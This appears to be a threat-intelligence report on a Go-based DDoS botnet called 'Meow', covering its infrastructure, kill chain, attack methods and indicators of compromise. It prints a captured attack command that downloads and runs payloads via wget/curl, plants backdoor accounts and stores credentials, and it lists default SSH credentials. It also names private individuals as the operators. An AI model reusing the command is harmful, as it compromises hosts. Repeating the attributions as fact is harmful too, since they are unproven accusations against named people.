๐ฑ Operation Meow
Executive Summary
A Go-based DDoS botnet ("Meow") is being operated from infrastructure belonging to KataBump (katabump.com), a French "Free Discord Bot Hosting" platform. The C2 server at 51.83.6.7:20086 resolves to node52.net.katabump.eu โ one of 30 OVH-hosted nodes under the control of Alexis Sennepin and Thibault Lapeyre, both based in Paris, France.
The malware binary contains full source code paths from a Windows development machine (D:\Desktop\security stuff\qwiklabs\c2c\), is compiled with Go 1.26.3, and supports 9 DDoS attack methods including Layer 7 HTTP floods with Chrome 141 user-agents. The botnet spreads via a 335-node Go SSH scanner campaign that has been active for 68 days across 43 countries.
โ ๏ธ CRITICAL IRONY
KataBump's website claims "the most powerful DDoS protection in the world" and "+100Tbps mitigation capacity" โ while simultaneously operating a DDoS botnet from the same infrastructure. Co-founder Thibault Lapeyre describes himself as a "Spรฉcialiste en cybersรฉcuritรฉ" on his personal website.
Operators Identified
Alexis Sennepin
๐ท๏ธ Co-President, KataBump
๐ง alexis.s@katabump.com
๐ป github.com/Alexis-katabump
๐ Paris, France
๐ฎ Earliest: Roblox aimbot (Feb 2025)
๐ค Uses Claude Code (Anthropic)
Thibault Lapeyre
๐ท๏ธ Co-President, KataBump
๐ป github.com/thblfr
๐ about.thbl.fr
๐ Paris, France
๐ "Spรฉcialiste en cybersรฉcuritรฉ"
๐๏ธ Only follows @OVHcloud on GitHub
Ghost Operator: "modzmodz" โ A GitHub account (ID: 267205034) was found via search but returns HTTP 404 (deleted/suspended). The "modzmodz" password is hardcoded in the binary as the backdoor password for all compromised hosts.
Infrastructure Map
| Component | Value | Details |
|---|---|---|
| C2 Server | 51.83.6.7:20086 | node52.net.katabump.eu ยท OVH ยท Dunkerque, France |
| Payload Server 1 | 34.181.210.37 | Google Cloud ยท /meow + /meowarm64 (LIVE) |
| Payload Server 2 | 35.237.91.38 | Google Cloud ยท Alternate delivery |
| Scanner 1 | 34.85.232.35 | Google Cloud ยท Deployed meow Jun 1 17:10 UTC |
| Scanner 2 | 35.196.255.242 | Google Cloud ยท 170 AbuseIPDB reports ยท GreyNoise: MALICIOUS |
| KataBump Nodes | node33โnode62 | 30 OVH VPS across France (AS16276) |
Malware Analysis
x86_64 Binary
86d162d2...177a2739
9.4 MB ยท Go 1.26.3 ยท ELF ยท NOT STRIPPED
ARM64 Binary (IoT)
5bf67d64...030451c2
~9.5 MB ยท Go 1.26.3 ยท aarch64 ยท NOT STRIPPED
# Source paths embedded in binary (developer OPSEC failure)
D:/Desktop/security stuff/qwiklabs/c2c/cmd/agent/main.go
D:/Desktop/security stuff/qwiklabs/c2c/methods/betterhttp.go
D:/Desktop/security stuff/qwiklabs/c2c/methods/tcpflood.go
D:/Desktop/security stuff/qwiklabs/c2c/methods/httpflood.go
D:/Desktop/security stuff/qwiklabs/c2c/methods/icmpflood.go
# ... 7 more source files
DDoS Attack Methods (9 Total)
!tcpTCP Flood (SYN/ACK/PSH/RST)
!udpUDP Volumetric
!httpHTTP L7 (1.1/2.0)
!fasthttpFast HTTP Flood
!betterhttpEnhanced L7 Evasion
!dnsudpDNS Amplification
!dnstcpDNS TCP Flood
!icmpICMP Flood
!tcphandshakeConnection Exhaustion
Kill Chain
Phase 1 SCANNING โ 335 IPs ยท Go SSH ยท 43 countries ยท 24/7 automated
Phase 2 EXPLOIT โ Default creds: root/123456, pi/raspberry, admin/admin
Phase 3 DELIVERY โ Google Cloud VM โ wget/curl โ /tmp/meow + /tmp/meowarm64
Phase 4 PERSIST โ rootโmodzmodz ยท admin1/user1 ยท cpufreqd service ยท crontab
Phase 5 C2 โ Connect 51.83.6.7:20086 (node52.net.katabump.eu)
Phase 6 DDoS โ 9 methods ยท auto-scales per CPU ยท rate-limited stealth mode
Campaign Statistics
335
Scanner IPs
43
Countries
68
Days Active
30
C2 Nodes
Peak activity: May 21, 2026 โ 87 unique scanner IPs activated simultaneously. Campaign uses 24/7 automated scanning with no human timezone signature. First observed March 25, 2026.
The KataBump Front: From Bump Bot to Botnet
Sep 2023 โ katabump.com domain registered (Cloudflare)
Apr 2024 โ Site is pure Discord bump bot ("Earn members")
Sep 2024 โ PIVOT: Becomes "Free Discord Bot Hosting" with fake "+100Tbps" claims
Feb 2025 โ Google AdSense monetization added; Roblox aimbot (earliest code)
Jan 2026 โ ANTI-CAPTURE-BROWSER published (anti-surveillance tool)
Mar 2026 โ Go SSH scanner campaign begins
May 2026 โ Mass activation (87 IPs in one day)
Jun 2026 โ First meow deployment captured in our honeypot
OPSEC Failures
| Binary not stripped | Full source paths, function names, Go metadata exposed |
| Windows path leaked | D:\Desktop\security stuff\qwiklabs\c2c\ |
| C2 on named infra | node52.net.katabump.eu directly links to their platform |
| Public GitHub | Real names, emails, commit history all accessible |
| Deleted modzmodz account | Deletion drew attention; GitHub retains search index |
| Anti-screenshot tool | Publishing ANTI-CAPTURE-BROWSER signals awareness of monitoring |
Captured Attack Command
echo '123456' | sudo -S sh -c 'cd /tmp; ulimit -n 1020000; rm -rf meow*;
wget http://34.181.210.37/meow; curl -O http://34.181.210.37/meow; chmod 777 meow; ./meow;
wget http://34.181.210.37/meowarm64; curl -O http://34.181.210.37/meowarm64; chmod 777 meowarm64; ./meowarm64;
echo $(whoami):modzmodz | chpasswd;
useradd -m -s /bin/bash admin1; echo admin1:modzmodz | chpasswd; usermod -aG sudo admin1;
useradd -m -s /bin/bash user1; echo user1:modzmodz | chpasswd;
echo -n $(whoami):123456 > /tmp/mew'
Indicators of Compromise
# Network IOCs
51.83.6.7:20086 # C2 (node52.net.katabump.eu)
34.181.210.37 # Payload delivery (Google Cloud)
35.237.91.38 # Payload delivery (alternate)
34.85.232.35 # Scanner/deployer
35.196.255.242 # Scanner/deployer (170 abuse reports)
# File Hashes (SHA256)
86d162d2e4ae90daad260faa7df25be2e28bc70a97d0d0548d80a670177a2739 # meow x86_64
5bf67d64e94a8ed6b81a0855fee52626eb0f4caf1772518fc2404883030451c2 # meowarm64
# Host IOCs
HASSH: 16443846184eafde36765c9bab2f4397 # SSH-2.0-Go scanner
Process: cpufreqd # Masquerades as CPU daemon
Accounts: admin1:modzmodz, user1:modzmodz
File: /tmp/mew # Credential exfil
June 1, 2026 ยท Shuffle-On Intelligence Platform
Methodology: Passive SSH honeypot ยท Live binary download + static analysis ยท OSINT (GitHub, Wayback Machine, Trustpilot, DNS, Shodan, AbuseIPDB, GreyNoise) ยท No unauthorized access was performed